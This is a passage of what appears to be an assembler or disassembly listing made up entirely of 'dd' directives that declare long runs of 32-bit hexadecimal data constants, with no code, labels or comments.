		dd 0FBDF01F3h, 0E7EFC88Fh, 60B84DF5h, 5BB59FBAh, 0FB8496D3h
		dd 0E16B7C61h, 0F0FF8401h, 0B4A6A77Eh, 0CAE54204h, 36A5BA6Bh
		dd 46C7BF8Dh, 0D7AEBCABh, 17D6868Eh, 7982A17h, 6A96F186h
		dd 4E21E231h, 87BC2DCAh, 0AB9DBFB8h, 0A372523Ah, 0FD489D46h
		dd 0BDA4EB6Ah, 1370693Ch, 2D393989h, 0FCC6E1A1h, 1E4550DAh
		dd 7C432FEAh, 0EFBB537Dh, 0D39BA107h, 0FD846177h, 0BDE7E2AEh
		dd 0F57E5D01h, 0AB42A293h, 1E554DA6h, 0B87EDC54h, 0A9C76C1Eh
		dd 85536677h, 5B31EACCh, 67E1AF3Ch, 5E05B851h, 0C1914843h
		dd 0FDD8DD32h, 0B76384EAh, 9D291D6Ah, 55AB684Eh, 0B5116FDFh
		dd 0EC36394Dh, 0E340F0E1h, 0EFF5B16Eh, 91520461h, 8907AE21h
		dd 764B0A2Ah, 6E7E7DA5h, 0C65DCE88h, 0CB9422F2h, 8DBA3297h
		dd 0C8E111F2h, 0AD745B1Dh, 65FD68B7h, 0E039F59Ah, 0B0BFE6E9h
		dd 625EB457h, 7F43AD2h,	24643FBEh, 1EEEFCD4h, 0BD82360Ah
		dd 339B237Ah, 21DF974Ah, 4808A992h, 0DF05CDA9h,	92F699Bh
		dd 6875D5A8h, 202A3AE7h, 0D226E332h, 540487AFh,	0F9B67665h
		dd 0E3935B31h, 4193A511h, 0F0DE4CA5h, 44AE4E41h, 1F6E1DBCh
		dd 778B8A0Bh, 543973E6h, 83B3E2D1h, 72683D95h, 6A2D60F2h
		dd 2F527705h, 0D4E39FE2h, 5BDAD35Fh, 75869D33h,	0FC8895D8h
		dd 6C97C478h, 0BBCC8900h, 3D526BB6h, 26F9B6Ah, 1BE91A4Eh
		dd 0AB788854h, 0CF65931Bh, 8116119h, 8ED40A1h, 0CA2E4EF8h
		dd 7426AE20h, 0F46E6770h, 0A7CDF38h, 5A32A819h,	7D0BF3C7h
		dd 0A41608E8h, 0F0575390h, 17DD1711h, 7B0D12E8h, 4B824B52h
		dd 656748A5h, 4A6B44D9h, 7EC596FEh, 0E1430F9Dh,	0E755A8Ch
		dd 0DFE8F2E9h, 77A31B5Dh, 0E6D0FB5Dh, 77D56BB0h, 0AB75EF91h
		dd 2E6AB545h, 6FED9E34h, 94821FACh, 2E570629h, 764751D0h
		dd 54AD6A8Eh, 0AD195F5Bh, 9A1DB1ACh, 6DAC3C7Ch,	2395853Ch
		dd 0C43805B1h, 6BCBCF32h, 0F2A01DBCh, 0EC30F589h, 7D5CA7A1h
		dd 44C29D58h, 25D17D16h, 9D5EF5F3h, 169A9F6Eh, 0BFD3A2ABh
		dd 20AE030Eh, 0FFF3B42h, 0A2E86615h, 45844EB5h,	6E07C6D0h
		dd 495465DCh, 1D03E9C3h, 245FC6C4h, 3DA13B55h, 37DCE349h
		dd 0D154DF47h, 0D9B80F73h, 80CF11CDh, 125182EDh, 33D88723h
		dd 0FBA5F04Fh, 5D3EBFD3h, 0F3F907D7h, 188050Ah,	64C1686Dh
		dd 8EDB9D4Dh, 0AA662ECAh, 9EC95022h, 8BAF7DC9h,	0F01BAB04h
		dd 3268C22Dh, 320BDF7h,	0AFDDFD2Bh, 0AF9283F9h,	7ED63500h
		dd 0F2163243h, 8EB219D1h, 74640615h, 0D0E846AAh, 5C52FA12h
		dd 0A459AAEAh, 0F688CB71h, 0F4402C05h, 59F8FFBAh, 7F0D109Dh
		dd 5160FD5Dh, 527F5021h, 0AE16FCB8h, 0DB741181h, 0CBF23676h
		dd 0B799AC38h, 25E8A0A0h, 1EFFD4C1h, 502E95C3h,	375A5C7Eh
		dd 0FC51BE86h, 70BC0D36h, 0C3866346h, 40DD63FAh, 0CAD3E96h
		dd 50207AEEh, 2E8A314Ch, 0B280B944h, 91077B1Ah,	0D085EC0Ch
		dd 968F00C7h, 0E2A30178h, 1F063AAFh, 0D72D776Fh, 34B0310Bh
		dd 0A2EFDF4Bh, 484335CEh, 42726EF9h, 0A39BFAE1h, 0ADB7FFD3h
		dd 42674B8Dh, 4D1840F9h, 9C0A84F4h, 0B16DF3C3h,	4A033A88h
		dd 1EFF13D2h, 73D71363h, 2AB6255Ch, 0CEEC4F8Ch,	0BD53D5AAh
		dd 66679C77h, 11002354h, 34B71F50h, 7EBAF5F0h, 0D423B628h
		dd 0FC0AA98h, 0F0CE4C83h, 0BC19339Ch, 0CEC783BBh, 0A4BBABA8h
		dd 0F4AEC6D4h, 1C8D0CE6h, 8F4388C7h, 8545DB36h,	1B6626D1h
		dd 0CC9E424Ah, 55E8B959h, 0C766146Dh, 486D1521h, 5611ED7Fh
		dd 3398B9A2h, 9A12AED8h, 0D6CCB9BCh, 0E4AFBE6Fh, 0BC0F9273h
		dd 3B25E64h, 0D5D4D2CBh, 0F42E5B52h, 0C313D721h, 48E8C6C9h
		dd 0EBEEB05Ah, 860BB717h, 41EC655h, 40EEC175h, 0AD66D06Ch
		dd 5DC0BEC2h, 7BA1764Bh, 4EE23608h, 884927E1h, 0ED744B94h
		dd 74C3D035h, 8058097Bh, 4B5B25B5h, 0A3E89F00h,	8C393DB3h
		dd 98E4C58Bh, 6042E840h, 0DEAE2C00h, 475B8D21h,	863E2233h
		dd 181D4163h, 463C08F0h, 28460CB7h, 843DA738h, 0B3DE84D2h
		dd 1BE0E322h, 644A0EF5h, 89AD40E7h, 0D6F164EAh,	62A8AEC1h
		dd 9A2E8428h, 2B90446Dh, 567EF7F8h, 5F6AF068h, 88544285h
		dd 0F00389BFh, 0E3CF0CBCh, 0A7ED2834h, 7CBD688Ah, 71F9E423h
		dd 64CE0205h, 0E6346064h, 0A2F23854h, 0B9D1FFEAh, 1FD699A4h
		dd 0B210C416h, 25F8AFCFh, 6F08BA62h, 0F2D2061Dh, 66B8BC2Dh
		dd 59FECF92h, 0EE1E9B76h, 657D603h, 49A81CFh, 0FDBB59A4h
		dd 32B019C7h, 38EDE697h, 377581AAh, 18660F0h, 0AC991061h
		dd 7A65D3FDh, 5EA7E033h, 77CC072h, 0CE4621EBh, 30B194CCh
		dd 0A386751Ch, 0DEA488C4h, 212A3C31h, 307BBFE0h, 0D730DA43h
		dd 79C425D0h, 0C9C20FE8h, 0B506BF10h, 0B391F46h, 835693E3h
		dd 0A2AB48Eh, 9C0621E2h, 0C4C2F990h, 6CDB00E8h,	814CDEB2h
		dd 0F260BAF6h, 41A4BD9Dh, 0D5BF3334h, 3CBE05DFh, 6691E705h
		dd 0E914B91Dh, 84742A75h, 0D50ABD5Dh, 0C07AE65Ch, 7B2B2035h
		dd 4E7B0847h, 0AC788320h, 94AC7A5Ah, 8A256FC4h,	836B2DF9h
		dd 74F55C69h, 7EC8EE0Eh, 9C35760h, 0B7BB9AF1h, 9EA00862h
		dd 0A4E36279h, 7B030EA5h, 0E357F218h, 15D2D659h, 0AF201A1Ch
		dd 7946F462h, 0D0396515h, 567172Ah, 272B80BEh, 6F684DA8h
		dd 0B5A8EAACh, 0B9A6ED38h, 0B0C5B8DAh, 2119095h, 98C7EC09h
		dd 5DDDAF51h, 48CCBE93h
		dd 7FAE3177h, 90452E11h, 0EB3A9E6Fh, 6F950C41h,	0CD40F84Bh
		dd 30EB4C03h, 46EFEB6h,	50903DA8h, 0CDA5CAE2h, 0AB749788h
		dd 0F71B0E40h, 0D2BFFA4Ch, 0A71C989Bh, 80FB0980h, 4AF729CBh
		dd 0B78DF78Eh, 163F611Dh, 519FA337h, 2D7936B3h,	2FDC83E2h
		dd 0FB8EAE3Dh, 217EC449h, 0B01022A0h, 796EE1F5h, 0D335D1ACh
		dd 0A324F2A6h, 6ECA24B6h, 9A14BF2Bh, 0F11A7DC5h, 4B06D0B2h
		dd 1323F593h, 0FD48D6DFh, 0EA02DF79h, 0CAB3926Eh, 793BFC72h
		dd 913A458Dh, 0DC744229h, 6A75C589h, 0A658E5D5h, 0F3B5DE05h
		dd 10ED7B5Ah, 3EB2782h,	66F2E013h, 0A53AE0ABh, 56B3736Bh
		dd 0FFF13248h, 0DE061D29h, 191C765Ch, 154F9ED2h, 0C108EF8Ch
		dd 71754362h, 0BC7B7F2Dh, 53E6CAD0h, 1B08F0FCh,	0BED45629h
		dd 92140ED4h, 0DB55AA68h, 1D82B6F0h, 1229D1CCh,	0A00DD3E3h
		dd 2373E255h, 494567F1h, 5B8723E4h, 99E5E861h, 7296EE1Fh
		dd 47B3F4DFh, 768E2645h, 0B5CCFA6Ah, 6298E14Fh,	5DD0F156h
		dd 0AC8CA6B6h, 0C201589Ch, 0BA070021h, 0EA67C70Dh, 79B371C5h
		dd 8AD322A6h, 5F6C1860h, 538F049Ah, 0B49E998Ah,	6C17C89Ch
		dd 76A5A90h, 0B614EDE7h, 0F9753339h, 0DE486DADh, 0F6041CF3h
		dd 0CAE32D6Ch, 0DD2144BAh, 0D176A4Dh, 573B4DFEh, 729C22F1h
		dd 7F54A66Dh, 0CBE874E0h, 0EF2A6336h, 8EAC8AA1h, 48E5E921h
		dd 6008AAC7h, 0E4DB1F8Fh, 6B1985DCh, 0E659E5Eh,	1E624F49h
		dd 0E408FE61h, 0DB620B62h, 60E699ACh, 7E93B0DBh, 76CA6972h
		dd 889A77A3h, 0E863AF54h, 92ABD49Fh, 8856D4F5h,	2F52DFDDh
		dd 0D9C5056Ah, 2C6C3164h, 0D8D5EEEBh, 0F1A93153h, 0F21681D5h
		dd 8808C006h, 9F32D4EBh, 57826CECh, 168D9DACh, 0AFD255EEh
		dd 0B48FF962h, 0C7EF9F97h, 0CDFD11Eh, 67835CFBh, 0C9527C71h
		dd 8E2C4629h, 0F304078Eh, 24E99A84h, 0BF6F04BBh, 0E95141ECh
		dd 0D5A355Eh, 0BF539DD3h, 8F0C0434h, 42CDADBBh,	0F5A03FD9h
		dd 4C6B2CABh, 456BD05Ch, 15BEB705h, 179CD4B4h, 1934D830h
		dd 503620FAh, 0CB73A012h, 0FDA33AAFh, 62E07300h, 0E3272A0Eh
		dd 0CB33EFEAh, 70F15601h, 0C961AB5Ch, 0A635C916h, 6E9C996Bh
		dd 4D292B4Ah, 91369873h, 651C0B40h, 3CB3DC98h, 0D5E04DA6h
		dd 3C18C3E0h, 0C0ED230Ah, 1792F19Eh, 8DCAA68Ah,	0B6F0F86Eh
		dd 9E70F345h, 0DBA978D3h, 2ADB6CBh, 582AC9BDh, 7631F572h
		dd 0F4223806h, 0BEC42F10h, 0CF9AA959h, 9B042380h, 0A10C107Bh
		dd 0E19908A9h, 8A73DDDh, 1080631Bh, 88CFA09Dh, 0E811C229h
		dd 51C746D0h, 1BB7BC73h, 20E40BBh, 0BF784268h, 0C540D456h
		dd 792F13DBh, 0F163AB5Dh, 336342F1h, 684ED4C3h,	30A25F02h
		dd 2250C825h, 9B7FE58Fh, 0C5B8459Eh, 0E3F674D9h, 0BFCB8AE9h
		dd 8A5C1356h, 33390862h, 0C0AAE8FEh, 0B6707874h, 493E240Eh
		dd 7F3B905Fh, 591FB759h, 0B5B995F0h, 0F5271DD4h, 31ADACAAh
		dd 0FFF14D32h, 0F3B3903Ch, 0D37EE22Ch, 0C2477CC1h, 0F9B0AAC9h
		dd 0C1AF4E1Bh, 8EC8C714h, 87BB3381h, 137912D0h,	0D300E1A3h
		dd 7556235Fh, 0CDBF1E40h, 0CF347697h, 0FDD2925Dh, 9CF86D47h
		dd 0BA59518Dh, 786B802h, 62A5E6E2h, 201E36Dh, 0FEA7BD99h
		dd 0CD6EDEA1h, 195E9693h, 0D9A5BF52h, 0A3761E47h, 5E2164D6h
		dd 1C141568h, 8D240C3Dh, 0DA5854C9h, 958BC82Eh,	0E3CD00A9h
		dd 3A1FE4ECh, 7A5BFD16h, 0DA616B57h, 0C30CAFC3h, 83F532E4h
		dd 0F98D1ABDh, 0F84447B4h, 0DD13E6ADh, 7C9A608Eh, 0FFD6B7CAh
		dd 6748F6B0h, 70BCFD95h, 0B886698Ch, 5E087AA0h,	410124B2h
		dd 0E0BF59F6h, 6BBA48C7h, 840CB27h, 784495C7h, 2545F8A0h
		dd 0BC9208CEh, 0D727A5A0h, 798913A1h, 26B7A7D6h, 0F034AF0Fh
		dd 3022BB3h, 22D2417h, 58FF26BFh, 0B09A1023h, 8BA5B6C6h
		dd 97E93BCFh, 2F233993h, 0D887A9E7h, 6517BD57h,	0FC9E4912h
		dd 6E5432h, 7BEECF6Bh, 22302260h, 1F6726E4h, 639B0E0Bh
		dd 0E3357CFFh, 3D033688h, 6DE13232h, 0DD0A96FDh, 871FE2E5h
		dd 420F98AEh, 38526381h, 5D3C7CF6h, 627A11A2h, 0BD6246A9h
		dd 0A41E35D6h, 9BC975A2h, 699E0669h, 9140620h, 0B8C08B20h
		dd 0AA5AE08Eh, 6C5E1247h, 0C30ECA0Bh, 0BF817E49h, 71B16057h
		dd 98F3A0C9h, 818A0E85h, 0B4AF4EC1h, 35D355A2h,	0EDF08620h
		dd 65C640FEh, 5FFDA525h, 197F321Dh, 3502766Ah, 794388BFh
		dd 63512290h, 0DA089FB6h, 0F8308CB2h, 88937C4Bh, 32458876h
		dd 0F580AC2Ah, 2945BCC2h, 2F6D857Ah, 78CDC78Bh,	71B4C76h
		dd 1F185D5Fh, 5CB608C3h, 1C95AD61h, 0B706C4BEh,	5DB6621h
		dd 0D67719E1h, 6C1F5BBDh, 598B785Eh, 0E5F009FBh, 0F7876809h
		dd 553FBF30h, 37FBACF8h, 30B0FC2Ah, 90B3C1FAh, 5046F435h
		dd 0C005324h, 6131D66Dh, 192FB765h, 44D18FBEh, 0ABA78E1Fh
		dd 2C9F8709h, 493EE4F0h, 0ED72D628h, 0DBA04A93h, 1C17D23h
		dd 0C5497C18h, 850EA69Ch, 91991CF7h, 0BE6FD5Fh,	11DBBC67h
		dd 0B98A66Bh, 0BEE1100Ch, 6E93E585h, 0F87D1B65h, 0A5CDC26h
		dd 6E072EB7h, 9F2EF8Fh,	1E999EE7h, 0E2FAF502h, 0F7B5DBD4h
		dd 1CE5DE6h, 0A83B15Bh,	0F091DCAAh, 6B8D0291h, 8FFD3745h
		dd 7CBF00F7h, 5F79937Eh, 0AA75E43h, 0DE1277A9h,	0D7C7E0F4h
		dd 46284B80h, 0FBCC3121h, 0C1D5D018h, 68F624F2h, 22980564h
		dd 2EFC6FA9h, 0C63D52C2h, 21581193h, 83F69D9Bh,	3EFAF2F9h
		dd 0B857285Dh, 0E1EB5904h, 87E8C0B6h, 0EBFEAEFAh, 0E2D6D022h
		dd 948D247Ah, 200FF424h, 4FA9EC5Ch, 70A7AFB4h, 5C159D6Dh
		dd 0A7E5FC21h, 1AD6C6D5h, 3800410Ah, 0DDE8D7BEh, 0A3E018A0h
		dd 0CD32F482h, 246EA4F1h, 6DBC7AC5h, 0ED97E764h, 0C89F912Ch
		dd 3491D044h, 909D3072h, 0AA3FA0BCh, 0DEB5D206h, 825DD6EAh
		dd 7478B9EAh, 57578E1Eh, 0A0D4E678h, 0C9C445E8h, 96A56142h
		dd 0F0E881E2h, 0ED88325Bh, 73D822Bh, 7D51DDD3h,	862359B4h
		dd 0B323014Ah, 2C10D190h, 509D4379h, 0DC217949h, 0BA7491CCh
		dd 0D7D3831Eh, 0CEC193D3h, 628AB4F6h, 3EA7F43h,	41DD37D4h
		dd 23B82506h, 3FD959C7h, 7BDAEC67h, 0E35FBF3h, 0BA418A1h
		dd 0B702B167h, 46DD0FE2h, 0C04B949Ah, 869A7F03h, 218482C9h
		dd 3122792Ah, 7D95281Eh, 50E19AE6h, 0CAB1147Bh,	0BD1F72h
		dd 0EFAB9B5Dh, 78C92784h, 0CAF8E32Eh, 0C51279CFh, 2F7CA725h
		dd 0A1682D83h, 30FEBF0Fh, 8CFCBE6Bh, 0B8D3CBBDh, 6501B6CCh
		dd 0AEB2C770h, 0D4D952FBh, 0A31C80C8h, 472052A4h, 6558D0DDh
		dd 0DB499880h, 90738350h, 9B430BCEh, 22ED0DEEh,	71BA7F6Ch
		dd 0FBE27396h, 979BB623h, 6825A124h, 3D15F3EFh,	749259EBh
		dd 0F7A1B5F5h, 1CE1DE86h, 74C985C3h, 58C5F1B9h,	5877121Eh
		dd 0A910601Bh, 213602BBh, 6FB1EB04h, 1D7B0B67h,	0E17D0F36h
		dd 7FF4FB6Bh, 2A85402h,	0B824AAD3h, 5E759BC2h, 868D1537h
		dd 0B48F3444h, 0E1EB3DF2h, 85FD24ABh, 0E63D0520h, 775958E6h
		dd 855C0A1Bh, 0FADDFE9Eh, 0E9BBC32Bh, 0A069CA38h, 6EA51C34h
		dd 0DE9DF7CEh, 645D9264h, 55E9A602h, 8A908739h,	91AEC84Dh
		dd 0DDDA1B6h, 0A075EC72h, 0BEA52032h, 262FB59Dh, 8039CB9Ah
		dd 2EA90766h, 33D4C629h, 14CE3745h, 0DAD6CD31h,	64441C61h
		dd 6C1BE01Eh, 643A9CFCh, 7A4F36FBh, 5550F461h, 0B87F9500h
		dd 4AF5235Dh, 45A88AE3h, 0C1279768h, 0C02485E9h, 7A0646D4h
		dd 4A5D469h, 21045CB1h,	448B8F07h, 0D73EC1EFh, 0E170E135h
		dd 9AF581E7h, 0C9EC686Ah
		dd 0B2CA7D3Eh, 5F8EC23Fh, 85DE487h, 0C23FFD17h,	6E9EAF26h
		dd 6F796593h, 0BB111BB0h, 0FBD93054h, 722F6C46h, 0C3850C4Bh
		dd 4F353F9Bh, 0B62A0B06h, 2507B6ACh, 0FA1280Dh,	0F779BA7Dh
		dd 0A5099DC9h, 33C3D15Eh, 0F5DC1383h, 0EACA438Eh, 309E9108h
		dd 26D8CDE6h, 778DB204h, 62024387h, 5707BA12h, 9FD5A2h
		dd 0C6F48197h, 0AE17005h, 0FBEC2C30h, 0EDC3F225h, 0EF7447BFh
		dd 4CE87DF7h, 8838A640h, 68D3EE0Ch, 0A0FC813Bh,	360AB093h
		dd 56320B3h, 0F0BC0051h, 8CAF95C2h, 0EBF2E8C6h,	3DA46DDFh
		dd 0C7E37F72h, 0DA840F0Dh, 981F2896h, 323A0127h, 2801FD70h
		dd 0B52FA56Dh, 0EEA8493Fh, 9F89F464h, 0F2770E73h, 0F072B79h
		dd 0D4A58F94h, 0E3D7A58Eh, 8A98E0B3h, 0AEFBCA4Ah, 0C20D8CB7h
		dd 0A4832D42h, 8511E14Ch, 97920DCFh, 58A1A8AAh,	2E172218h
		dd 3D3699C5h, 878F5FA1h, 0BE5CFA68h, 0FDAC1683h, 0F571C810h
		dd 6C80F186h, 7D773784h, 7ED0FC18h, 5EF9D22Ch, 9EA25D82h
		dd 91311EDh, 2DA9F3D6h,	0B595B676h, 4AF10700h, 0CBB34B2Eh
		dd 0C4743754h, 38A4BCE8h, 24211382h, 99B49249h,	0F934E076h
		dd 1839D89Dh, 0D057914h, 9EA5643Dh, 33CAF801h, 6791A19Eh
		dd 1E6814ABh, 288ED897h, 319310F6h, 54DE7C9Bh, 43C7D19Bh
		dd 0D9C580E3h, 846E4B5h, 7CA75C6Ch, 576B6CBAh, 0DBCAB211h
		dd 28F6230Dh, 811D569Ah, 7DFCA686h, 0D792C9B1h,	8D5668FFh
		dd 0B2742430h, 79D8C734h, 7E6B7DD9h, 0E403167Eh, 620E64E8h
		dd 18BA4240h, 4616EE7Bh, 0F240B607h, 0D0E49EA2h, 0EDE55E27h
		dd 0F4B509F0h, 30D60378h, 8E96113Eh, 5EA79263h,	47900EEBh
		dd 0DE54F259h, 0CC26697Bh, 712092A0h, 1AB3FAFEh, 0F9AA226Dh
		dd 0B92123E8h, 37E83A8Ah, 0F9EAFBBh, 337C357Ah,	4DFACF96h
		dd 923361E7h, 6503E56Ch, 37744198h, 2C3C0EE7h, 5090E13Bh
		dd 19177404h, 2EFE0FA4h, 2B845BC1h, 67D09AD8h, 0F68B4652h
		dd 11AF886Ch, 82DF4805h, 82E3AB4Ch, 6EAD7FECh, 8DB7174Eh
		dd 34DAF3B0h, 1FB3F22h,	0B8C18C09h, 16A3C0D8h, 689502D3h
		dd 0D43C4AD1h, 0CA1CA6E2h, 10037772h, 0A30F644Dh, 0D6480A24h
		dd 1915B614h, 0CF95FFEBh, 2C9B4BB4h, 49DE7663h,	0A6E9D283h
		dd 0E7875F0Ah, 623747BBh, 5E97F57Fh, 147C80EBh,	31E47495h
		dd 0BA642C1Eh, 81A770Bh, 0D4561BACh, 0FE5A9804h, 1BFDCA0h
		dd 4F2330E7h, 0D80E3D01h, 0F904409Bh, 0D91BEFF7h, 326668CEh
		dd 11C82C66h, 722344F5h, 17DA64C6h, 0D73BD217h,	0AA6CAF79h
		dd 56B8B41h, 0D563620Fh, 5F18C847h, 0F9A3C520h,	0B9D1961Ah
		dd 302ED57Fh, 0BCA1DEE7h, 33F35E50h, 0C4EC194Bh, 723B5F99h
		dd 0D235B4B3h, 9E410AFBh, 77A840F1h, 8354E7D3h,	0A1B74FBh
		dd 46402E22h, 0F36FE544h, 1AEF6611h, 452CF8D9h,	2A5DCB10h
		dd 1EC60472h, 3BE7546Dh, 0CA88083Ch, 0D2A69A88h, 78B052E4h
		dd 22B48FC2h, 1B2B9780h, 25C8BA19h, 0D12C6BCAh,	2C529621h
		dd 11EE3205h, 11B5E602h, 287CBFA6h, 0CCFFB108h,	3CB8B41Dh
		dd 3E98D6A6h, 0FC0988BFh, 8A449DBCh, 0C0EEE1DEh, 9639BBADh
		dd 8BAFE6CCh, 3F4010E3h, 0F522939Eh, 3E2B8611h,	3024C12Ch
		dd 0CA88C9ABh, 0AA6F3C3Ah, 179835ADh, 0F9B9563Ch, 988504E0h
		dd 0A8E6ECC5h, 9D87D918h, 96FF3FF9h, 7FE9FD61h,	99C958BBh
		dd 43B678AAh, 0B2BEAB4Ah, 931915A9h, 0FA2B1ECDh, 3C16377h
		dd 149FFAFAh, 1527CA61h, 156C33D4h, 2B2D2909h, 0DBD51CAEh
		dd 0C42AFAA2h, 0DA3C2D5Dh, 99E2B567h, 11898308h, 8376FCDEh
		dd 645D1DD9h, 9A1915B8h, 0F6B81A9Fh, 2164B37h, 972D2A78h
		dd 0BDAC0B4Ah, 7126AEDBh, 8F2D81B2h, 2297B3EEh,	89CBA144h
		dd 3895C5CCh, 864C7CF2h, 27F1169Ch, 0D48F7E00h,	0A7879CDEh
		dd 0F66102F2h, 5F7C30FEh, 0D8542115h, 5C17AF80h, 0A767284Dh
		dd 6DCC1D02h, 0D617BB15h, 0B39AC13Eh, 8476CD14h, 0E4652339h
		dd 0F190C37Ah, 53DC5531h, 6DA95AC3h, 0CB9AE515h, 1B7FEBF3h
		dd 69B680ACh, 0FADC0436h, 3A1BDBD8h, 0C00E14CBh, 172EB55h
		dd 0E41BED95h, 21FDA493h, 766C7AB2h, 0E7806894h, 0DEE5995Ah
		dd 57AD9707h, 987EC86Dh, 0BA6821FDh, 830D96DCh,	0C856EECAh
		dd 3C42124Ah, 0EF41DB09h, 1E2506F2h, 4736813Ch,	0F476C4B1h
		dd 0F2F66CC7h, 708F76D1h, 2EF95CA1h, 4ED09223h,	0E95B0F46h
		dd 74E0CC9Bh, 3CBC0B5Ah, 5DDEE80Eh, 6331575h, 2BD0A462h
		dd 0AF37E34Dh, 536EC056h, 2D60E82Eh, 138B2F24h,	3C87CFEBh
		dd 457052FEh, 891FE245h, 470A9E2Ah, 0CED48F6h, 0D506629Ch
		dd 27A1A3EEh, 0FC625B4Bh, 425F2CD7h, 0F04DB51Eh, 0FC4961C9h
		dd 0D1325509h, 72B7A5CEh, 0C8F49D42h, 0DC6C4E18h, 959677A7h
		dd 0F06EBC75h, 0EB7438A0h, 7E115003h, 0B66087BAh, 0F5B741A4h
		dd 0FE1756D3h, 58F30E54h, 81F3A6F8h, 0E96C9BEFh, 0DBCF021Ah
		dd 2FD29DE7h, 0F293AA18h, 0CCEB7Dh, 0B3E1F3DDh,	0A9DF22E6h
		dd 2AC37B33h, 0A0222A83h, 0FAB656B0h, 0D0064BEAh, 0D2C7CFA7h
		dd 6205E9D0h, 36BDF6F0h, 192FE6EDh, 9D189861h, 7781A49Eh
		dd 0D2814819h, 17D1F611h, 6BC6CF75h, 0E106E697h, 5A23C08Ch
		dd 0F5B6CEFEh, 164B1FD0h, 74C1E62Bh, 0FB7829FBh, 9446EAFDh
		dd 0F491FAF5h, 6091292Dh, 0A18DE94Eh, 0A742B343h, 4EDEB87h
		dd 9AFE14B0h, 5DF381C3h, 15812DFAh, 0A432E6EEh,	0DF009E56h
		dd 808231AAh, 7FBEDB5Eh, 651D46DAh, 0B3C2E942h,	28F0C66Eh
		dd 496FD3F8h, 4CEF2A6Ch, 0C89140h, 0B79E69BDh, 5C70444Eh
		dd 68057FD0h, 7468B0D9h, 530A17E6h, 7F84F76Ch, 0FA4ABEFh
		dd 0B4DFD94Eh, 0DDC56D31h, 0A556DCE6h, 0CE3B9CC5h, 0D2FCF76Fh
		dd 1D251732h, 9DC7D17h,	102E233Bh, 0B281CF53h, 158F7F3h
		dd 2DA19518h, 8889179Dh, 276B8270h, 0ED47C1F6h,	58D61B9Ah
		dd 244C5DC6h, 89AA66FBh, 0D4BBA6CDh, 33136A25h,	8E3EA14h
		dd 0C8AE0051h, 512750Fh, 2D40C2C2h, 6A40F11Eh, 579ACDACh
		dd 5B9E37D0h, 1DD953Eh,	0E78AFCA3h, 78680CA2h, 2973D766h
		dd 484FFF02h, 84DFE833h, 0EA72405Bh, 0D2C4CB40h, 6B81E55Dh
		dd 0B3A89AD1h, 0BF039031h, 0ED1F178Dh, 37917E6h, 0F5DEF9FBh
		dd 0FE009530h, 81FA11EDh, 0E35445D1h, 0DB366498h, 0A408C3F5h
		dd 0E8F68617h, 0CD5189C0h, 0CEA08BE7h, 6AA1E3A9h, 0F3792CBBh
		dd 664ECD04h, 0C3D64D40h, 0A53FA97Ah, 0DCDB621Eh, 83045040h
		dd 55C749DEh, 0E16ABFF5h, 891A2EE9h, 0FB762332h, 3DE4A665h
		dd 4F66CCB8h, 47F73F80h, 34536E92h, 33AFB2D4h, 5DEDA545h
		dd 0CB460BE5h, 0C7BFD4B1h, 0D6A71464h, 0A94AD7F0h, 4DC82D72h
		dd 7D57EC5h, 0F95664B4h, 3DAF4959h, 195E53B4h, 7951433Ah
		dd 13657953h, 0EC1C4309h, 3AC86A0Eh, 0B9A5AD92h, 0EABAD6C9h
		dd 679D7141h, 0D72FAD11h, 0D792F8F0h, 0D02DAB7Ah, 259A902Eh
		dd 146655DDh, 0EFD12771h, 0B76F36D5h, 91AD2B0h,	0DBE6825Eh
		dd 7002182Ah, 95310F2Fh, 0CC0262E4h, 6854CDCAh,	85012DC5h
		dd 1992E180h, 1EEF98D9h, 5172CD5Fh, 6ECA95A1h, 5BC516E3h
		dd 0B8B40797h, 24E4A970h, 0A5BC610h, 0EFE9DF3h,	39188CC3h
		dd 1A36E9ACh, 67A75F51h, 4C2E1392h, 5F196A2Ah, 8D4C4F52h
		dd 35036C4h, 2486100Eh,	52F28355h, 0C95188C5h, 0B80B937Bh
		dd 0E457B474h, 6B5AA9CFh, 2A64858Fh, 0F8F2D618h, 8EE2B77Eh
		dd 755278B0h, 3ED19E81h, 569A227Eh, 3E29D251h, 0D307F4CBh
		dd 0D190BB7Eh, 97C53C1Eh
		dd 274A966Ah, 0D69EA750h, 750E3ED0h, 1F2678C3h,	8F86BC65h
		dd 8D48CC29h, 0B511F7FFh, 3D42E287h, 4E12FE99h,	676A4E58h
		dd 0C96C94CBh, 0B944EABAh, 0BDC21C79h, 0D4737F4Ch, 84AB1D9Dh
		dd 0E3C04770h, 19D5CB28h, 9A88C938h, 8E34DAB3h,	0E19B8B2Ah
		dd 279BD8ADh, 0B0810753h, 685E22C2h, 0BBD51560h, 94AD37BEh
		dd 0E34BB0D5h, 9953AEF4h, 27FD0621h, 7B70B937h,	0ED563B01h
		dd 0D7682492h, 0D298449h, 9836F10h, 70EA5D39h, 0D7F54625h
		dd 0D5F5FFA0h, 7AAACA37h, 0FB804Fh, 378C6C23h, 783F7A60h
		dd 1E57C0A5h, 5EF5E5C4h, 0B05D091Bh, 0D483B3E0h, 347769A7h
		dd 87DD35C3h, 0A2C7F15Fh, 49893FD8h, 0A396237Bh, 0EEB083FEh
		dd 5EA71D51h, 9BE4CA92h, 0A59AA3B4h, 0A6D5E093h, 9D3F571Dh
		dd 4F80C589h, 4A78C2CEh, 719D4A0Dh, 766D10Fh, 105CE9A0h
		dd 643A167Ch, 37A75B7Ah, 1FE95FCBh, 0EF838EB8h,	0F0BF313Dh
		dd 85497380h, 782EB91Ch, 2CBAFD97h, 0FD8A4791h,	0A4BA3D9Dh
		dd 32D656EDh, 0D67CB619h, 0BB504319h, 0D1C00861h, 0A06B3AD4h
		dd 5EE44EB2h, 9A80B3B2h, 97263233h, 0B8505107h,	207361A5h
		dd 0DEAAA46Ch, 0A2B58EC3h, 8E16E5DDh, 0A73E9A3Bh, 559D59C4h
		dd 0D9ADC6D3h, 71B5DAC0h, 0D878750Eh, 6E1B13E5h, 799AC632h
		dd 7DDDFE7Eh, 4FC9168Ah, 6AD616BDh, 0EB42CF2Dh,	355621B8h
		dd 1268E7B3h, 54FFD47Ah, 51D1F495h, 7F6B8A93h, 37572D16h
		dd 5BA1186Eh, 79B3E66Bh, 84C1D596h, 6C306CB3h, 7781BDA3h
		dd 4EFD15BAh, 0CD7F348Dh, 3A0C1314h, 37A3A3Bh, 15089FE7h
		dd 21109FC4h, 7EC32CF7h, 7EF2F631h, 7D7FE0F2h, 0D8968E4Bh
		dd 47796ED5h, 0C79023A3h, 0C12C4490h, 0D428A4EFh, 17A6248Dh
		dd 0A6ADCB57h, 0BEA9B7FDh, 0AD4A4597h, 73C542ECh, 0D50A62Ch
